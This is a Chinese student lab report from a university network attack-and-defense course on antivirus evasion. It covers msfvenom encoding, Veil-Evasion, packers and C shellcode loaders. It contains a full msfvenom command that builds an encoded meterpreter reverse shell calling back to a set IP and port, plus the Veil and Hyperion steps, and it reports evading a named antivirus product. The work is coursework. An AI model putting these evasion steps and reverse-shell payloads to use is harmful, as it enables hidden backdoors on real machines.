1. 程式人生 > 其它 >20192429馬一 2021-2022-2 《網路與系統攻防》實驗三 免殺原理與實踐

20192429馬一 2021-2022-2 《網路與系統攻防》實驗三 免殺原理與實踐

20192429馬一 2021-2022-2 《網路與系統攻防》實驗三 免殺原理與實踐

目錄

一、實驗內容

  1. 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
    • 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
    • veil,加殼工具
    • 使用C + shellcode程式設計
  2. 通過組合應用各種技術實現惡意程式碼免殺
  3. 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

二、實驗要求

  • 掌握免殺原理與技術

三、實驗步驟

3.1msf veil-evasion 免殺

  • 實驗二中的後門程式通過Virustotal
    進行檢測

3.1.1 正確使用MSF編碼器

  • 生成檔案如下,並在Virustotal上進行檢測

3.1.2 生成java後門程式

  • 生成檔案如下,並檢測:

3.1.3 生成PHP後門程式

  • 生成檔案如下,並檢測:

3.2 veil-evasion

  • 輸入 sudo apt-get install veil 進行安裝

  • 使用veil生成後門程式
    進入配置環境 use c/meterpreter/rev_tcp.py
    設定反彈連結的ip和埠號,並檢視結果
    輸入 generate生成檔案,並找到所在目錄

  • 通過veil生成的後門程式檢測如下

3.3 加殼技術

3.3.1 壓縮殼

  • 加殼後的檔案檢測如下:

3.3.2 加密殼

  • wine hyperion.exe -v a.exe b.exe 為檔案加密殼

在進行加密殼的時候需要注意,如果直接在當前檔案目錄下輸入指令,有可能無法成功,因為 Hyperion.exe並不儲存在veil的目錄下,而是在/usr/share/windows-resources/hyperion/,每個裝置的地址可能有所出入。

3.4 C+shellcode程式設計後門程式

  1. 生成一段shellcode

  2. 建立一個檔案,將 unsigned char buf[] 的內容賦值,並進行編譯

命令程式碼均在圖片內容中,此處就不再打出了

3.5 組合應用各種技術實現免殺

  1. 製作shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.31.133 lport=2429 -f c -o shell.c

  1. 通過k8飛刀將shellcode轉化為hex:

  2. 檢測ScRunHex.py

  3. 此時後門程式與殺軟共生

免殺原理:使用C+shellcode,然後將shellcode轉化為hex,並且使用ScRunHex.py與python執行hex碼,避免了殺軟掃描到ScRunHex.exe的特徵碼,而同時使用了不同的編碼方式混淆,殺軟無法辨別真假。

3.6 在另一臺主機上實測

  • 殺軟名稱:聯想電腦管家
  • 殺軟版本:5.0.0.3292

四、回答問題

4.1 殺軟是如何檢測出惡意程式碼的

  • 根據特徵碼檢測:惡意程式碼中有些獨特的程式碼或機器碼,這些特徵程式碼儲存在AV廠商的特徵庫中,如果該檔案中有相應的特徵碼,則會被判斷為惡意程式碼
  • 啟發式檢測:該程式的行為和惡意程式接近,比如提權等待,則會被判斷為惡意程式

4.2 免殺是做什麼?

  • 免於被防毒軟體檢測到並刪除,就是一種逃避防毒軟體的方式

4.3 免殺的基本方法有哪些

  • 改變特徵碼,或者隱藏特徵碼,即加殼的方式把原本的特徵資訊隱藏起來,不被掃描到
  • 加入多的正常功能程式碼,儘量減少對系統的修改,行為上偽裝得像一個正常程式

五、實驗感想

  • 本次實驗是在上次後門實驗的基礎上的進階,需要我們熟練掌握和運用後門技術,在實驗過程中,我瞭解了免殺的概念、免殺的基本方法,能夠熟練使用VirusTotal、Virscan等工具,能夠有條理、有目的的對後門動手實現一些免殺的處理。在實驗過程中,我發現,即便一些程式沒有被防毒機構檢測出有病毒特徵,並不代表它就是安全軟體,隨著網際網路的發展,病毒的隱藏性更強,越不容易被發現,我們在上網的時候應該儘量在官網下載正版軟體,免於被植入後門程式。